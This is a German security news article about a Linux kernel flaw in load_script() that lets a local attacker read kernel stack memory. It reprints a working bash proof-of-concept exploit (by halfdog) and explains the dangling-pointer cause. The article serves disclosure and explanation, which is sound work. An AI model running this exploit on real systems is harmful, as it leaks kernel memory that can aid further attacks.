Eine Schwachstelle im “binfmt_misc”-Mechanismus des Linux-Kernels erlaubt einem lokalen Angreifer, Kernelspeicher zu lesen.
Der “binfmt_misc”-Mechanismus ermöglicht es, beliebige ausführbare Dateien auf Kernel-Ebene zu erkennen und einer dafür vorgesehenen Userland-Anwendung zu übergeben. Bei Skripten wird dies auf Unix-Systemen meist via Shebang (Magic Lines) wie
#!/bin/bash
erledigt. Diese Methode taugt allerdings nur für Textdateien. Die “binfmt_misc”-Technik benötigt keine derartige Datei-Kennzeichnung. Die Assoziation zwischen Datei und Interpreter ist in einer Datenbank auf dem System abgelegt. Diese Datenbank wird standardmäßig unter “/proc/sys/fs/binfmt_misc” im Proc-Dateisystem eingebunden.
Eine kürzlich entdeckte Schwachstelle in der Funktion “load_script()” hat zur Folge, dass ein lokaler Angreifer Bereiche des Kernelspeichers auslesen kann.
Ein Proof-of-Concept-Exploit wurde ebenfalls veröffentlicht:
#!/bin/bash
# This software is provided by the copyright owner "as is" and any
# expressed or implied warranties, including, but not limited to,
# the implied warranties of merchantability and fitness for a particular
# purpose are disclaimed. In no event shall the copyright owner be
# liable for any direct, indirect, incidential, special, exemplary or
# consequential damages, including, but not limited to, procurement
# of substitute goods or services, loss of use, data or profits or
# business interruption, however caused and on any theory of liability,
# whether in contract, strict liability, or tort, including negligence
# or otherwise, arising in any way out of the use of this software,
# even if advised of the possibility of such damage.
#
# Copyright (c) 2011 halfdog <me (%) halfdog.net>
#
# Description: This program creates a series of scripts calling
# each other leading to exposure of kernel stack bytes and higher
# CPU consumption.
#
# Usage: Use only for educational purposes on testing equipment. When
# run in empty directory, script will produce file "output" containing
# parts of stack depending on length of "filePrefix" variable content.
#
# See http://www.halfdog.net/Security/2012/LinuxKernelBinfmtScriptStackDataDisclosure/
# for details.
fileNum=0
filePrefix=$'\r'"file-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
while [ "${fileNum}" != 60 ]; do lastNum="${fileNum}" lastName="${filePrefix}-${lastNum}" let fileNum=fileNum+1 fileName="${filePrefix}-${fileNum}" cat <<EOF > "${lastName}"
#!${fileName} xxx
echo "Not reached"
EOF chmod 0755 -- "${lastName}"
done
cat <<EOF > "${fileName}"
#!/bin/bash
echo "Args"
cat /proc/\$\$/cmdline
EOF
chmod 0755 -- "${fileName}"
"./${filePrefix}-0" | tee output | xxd
rm -- *file-*
Dieser Code erzeugt mehrere Skripte, die sich gegenseitig aufrufen. Genau dies bringt den Kernel durcheinander. Am Ende schreibt der Exploit dann bestimmte Bereiche des Kernel-Stacks in eine Ausgabe-Datei. Das Problem tritt auf, weil bei jedem “load_script()”-Aufruf in “fs/binfmt_script.c” der Interpreter auf dem Stack Frame abgelegt wird.
Im obigen Code ruft sich das Programm rekursiv immer wieder selbst auf. Zum Schutz dagegen ist in “binfmt_script.c” “BINPRM_MAX_RECURSION” als maximale Rekursionstiefe eingebaut. Wird diese erreicht, so kehrt “load_script()” zurück, ohne etwas zu tun. Dabei wird aber der auf die Interpreter zeigende Stack-Pointer “bprm->interp” nicht korrekt behandelt und zeigt von nun an auf eine ungültige Adresse (dangling pointer). Das ist eigentlich unproblematisch, denn er wird nicht mehr benötigt, weil die maximale Rekursionstiefe erreicht ist. Sollte aber “CONFIG_MODULES” gesetzt sein, so wird der Speicher, auf den “bprm->interp” zeigt, an “exec args” angehängt. Dadurch erhält ein Angreifer Lesezugriff auf den Kernel Stack.

